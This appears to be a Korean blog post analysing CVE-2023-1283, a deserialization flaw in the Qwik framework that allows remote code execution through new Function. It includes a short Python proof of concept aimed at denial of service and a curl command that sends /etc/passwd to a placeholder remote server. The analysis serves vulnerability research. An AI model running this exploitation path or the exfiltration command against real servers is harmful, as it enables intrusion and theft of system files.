반응형

ref

https://cve.report/CVE-2023-1283

https://huntr.dev/bounties/63f1ff91-48f3-4886-a179-103f1ddd8ff8/

배경

NodeJS기반의 Framework인 Qwik(https://github.com/BuilderIO/qwik)을 사용하는 서비스에서 Qwik의 버전이 0.20.1 이하일 경우 Preauth Remote Command Execution 공격이 가능합니다.

분석

  • 분석은 취약한 버전인 0.20.1으로 진행
  • Qwik의 middleware request handler는 다음과 같은 순서로 설정
    • POST: securityMiddleware ⇒ pureServerFunction ⇒ fixTrailingSlash ⇒ renderQData
    • GET: fixTrailingSlash ⇒ renderQData
// packages/qwik-city/middleware/request-handler/resolve-request-handlers.ts
var resolveRequestHandlers = (serverPlugins, route, method, renderHandler) => {
  const routeLoaders = [];
  const routeActions = [];
  const requestHandlers = [];
  const isPageRoute = !!(route && isLastModulePageRoute(route[1]));

  if (serverPlugins) {
    _resolveRequestHandlers(
      routeLoaders,
      routeActions,
      requestHandlers,
      serverPlugins,
      isPageRoute,
      method
    );
  }
  if (route) {
    if (isPageRoute) {
      if (method === "POST") {
        requestHandlers.unshift(securityMiddleware);
        requestHandlers.push(pureServerFunction);
      }
      requestHandlers.push(fixTrailingSlash);
      requestHandlers.push(renderQData);
    }
    _resolveRequestHandlers(
      routeLoaders,
      routeActions,
      requestHandlers,
      route[1],
      isPageRoute,
      method
    );
    if (isPageRoute) {
      if (routeLoaders.length + actionsMiddleware.length > 0) {
        requestHandlers.push(actionsMiddleware(routeLoaders, routeActions));
      }
      requestHandlers.push(renderHandler);
    }
  }
  return requestHandlers;
};
  • securityMiddleware함수는 CSRF의 방지 목적으로 아래의 조건을 확인
    • request.headers.get(”origin”) == url.origin
function securityMiddleware({ url, request, error }) {
  const forbidden = request.headers.get("origin") !== url.origin;
  if (forbidden) {
    throw error(403, `Cross-site ${request.method} form submissions are forbidden`);
  }
}
  • pureServerFunction는 다음과 같은 조건을 통과할 경우 ev.parseBody 함수를 실행
  1. qfunc is defined in query
  2. X-QRL in header == qfunc in query
  3. Content-Type == application/qwik-json
async function pureServerFunction(ev) {
  const fn = ev.query.get(QFN_KEY); // var QFN_KEY = "qfunc";
  if (fn && ev.request.headers.get("X-QRL") === fn && ev.request.headers.get("Content-Type") === "application/qwik-json") {
    ev.exit();
    const qwikSerializer = ev[RequestEvQwikSerializer];
    const data = await ev.parseBody();
    if (Array.isArray(data)) {
      const [qrl, ...args] = data;
      if (isQrl(qrl) && qrl.getHash() === fn) {
        const result = await qrl.apply(ev, args);
        verifySerializable(qwikSerializer, result, qrl);
        ev.headers.set("Content-Type", "application/qwik-json");
        ev.send(200, await qwikSerializer._serializeData(result, true));
        return;
      }
    }
    throw ev.error(500, "Invalid request");
  }
}
  • SSR의 경우 DoS (poc)
import sys 
import requests 

host = sys.argv[1] 
headers = { "Origin": host, "X-QRL": "1", "Content-Type": "application/qwik-json" } 
response = requests.post(f'{host}/q-data.json?qfunc=1', headers=headers) 
print(response.text)
  • 위의 조건이 맞으면 ev.parseBody() 함수내 실행
function createRequestEvent(serverRequestEv, loadedRoute, requestHandlers, trailingSlash = true, basePathname = "/", qwikSerializer, resolved) {
	// skip
	parseBody: async () => {
      if (requestData !== void 0) {
        return requestData;
      }
      return requestData = parseRequest(requestEv.request, sharedMap, qwikSerializer);
    },
	// skip
}

// skip

var parseRequest = async (request, sharedMap, qwikSerializer) => {
  var _a2;
  const req = request.clone();
  const type = ((_a2 = request.headers.get("content-type")) == null ? void 0 : _a2.split(/[;,]/, 1)[0].trim()) ?? "";
  if (type === "application/x-www-form-urlencoded" || type === "multipart/form-data") {
    const formData = await req.formData();
    sharedMap.set(RequestEvSharedActionFormData, formData);
    return formToObj(formData);
  } else if (type === "application/json") {
    const data = await req.json();
    return data;
  } else if (type === "application/qwik-json") {
    return qwikSerializer._deserializeData(await req.text());
  }
  return void 0;
};
  • requestData가 undefined라면 parseRequest로 인자로 전달
  • 이때 content-type이 application/qwik-json이므로 qwikSerializer._deserializeData를 호출
// qwik/core.mjs
const _deserializeData = (data, element) => {
    const obj = JSON.parse(data);
    if (typeof obj !== 'object') {
        return null;
    }
    const { _objs, _entry } = obj;
    if (typeof _objs === 'undefined' || typeof _entry === 'undefined') {
        return null;
    }
    let doc = {};
    let containerState = {};
    if (element && isQwikElement(element)) {
        const containerEl = getWrappingContainer(element);
        if (containerEl) {
            containerState = _getContainerState(containerEl);
            doc = containerEl.ownerDocument;
        }
    }
    const parser = createParser(containerState, doc);
    reviveValues(_objs, parser);
    const getObject = (id) => _objs[strToInt(id)];
    for (const obj of _objs) {
        reviveNestedObjects(obj, getObject, parser);
    }
    return getObject(_entry);
};
  • 이 함수에서는 deserialize를 위한 Parser를 생성하고 reviveValue를 호출
  • Parser는 prepare, subs, fill 이 3가지 함수가 존재
const createParser = (containerState, doc) => {
    const fillMap = new Map();
    const subsMap = new Map();
    return {
        prepare(data) {
					// skip
        },
        subs(obj, subs) {
					// skip
        },
        fill(obj, getObject) {
					// skip
        },
    };
};
  • reviveValues 함수는 다음과 같이 _obj의 타입이 “string”이고 값이 “\u0001”이 아니라면 parser의 prepare함수를 호출
const reviveValues = (objs, parser) => {
    for (let i = 0; i < objs.length; i++) {
        const value = objs[i];
        if (isString(value)) {
            objs[i] = value === UNDEFINED_PREFIX ? undefined : parser.prepare(value); // UNDEFINED_PREFIX = "\\u0001"
        }
    }
  • prepare 함수에서는 _obj의 값 중 첫 Byte를 prefix값으로써 활용하고, 이 값과 맞는 serializers를 찾음
  • 일치하는 serializers가 존재한다면 _obj의 2번째 byte부터의 값을 첫 번째 인자로써 serializer의 prepare함수를 호출
prepare(data) {
    for (const s of serializers) {
        const prefix = s.prefix;
        if (data.startsWith(prefix)) {
            const value = s.prepare(data.slice(prefix.length), containerState, doc);
            if (s.fill) {
                fillMap.set(value, s);
            }
            if (s.subs) {
                subsMap.set(value, s);
            }
            return value;
        }
    }
    return data;
}
  • Serializers의 리스트는 다음과 같고 이들은 각각 정의된 prefix값을 보유
// // qwik/core.mjs
const serializers = [
    QRLSerializer,
    SignalSerializer,
    SignalWrapperSerializer,
    WatchSerializer,
    ResourceSerializer,
    URLSerializer,
    DateSerializer,
    RegexSerializer,
    ErrorSerializer,
    DocumentSerializer,
    ComponentSerializer,
    PureFunctionSerializer,
    NoFiniteNumberSerializer,
    URLSearchParamsSerializer,
    FormDataSerializer,
];
  • 이 중 PureFunctionSerializer를 참조
const PureFunctionSerializer = {
    prefix: '\\u0011',
    test: (obj) => typeof obj === 'function' && obj.__qwik_serializable__ !== undefined,
    serialize: (obj) => {
        return obj.toString();
    },
    prepare: (data) => {
        const fn = new Function('return ' + data)();
        fn.__qwik_serializable__ = true;
        return fn;
    },
    fill: undefined,
};
  • prefix는 \u0011이고 prepare함수는 인자값을 이용해 new Function 함수를 실행
  • 이때 원격으로 명령어 실행이 가능
    • exploit 비공개, @별도 연락 해주세요.
    • command
      • curl -F”a=@/etc/passwd” http://[remote_server]

패치 방법

반응형

+ Recent posts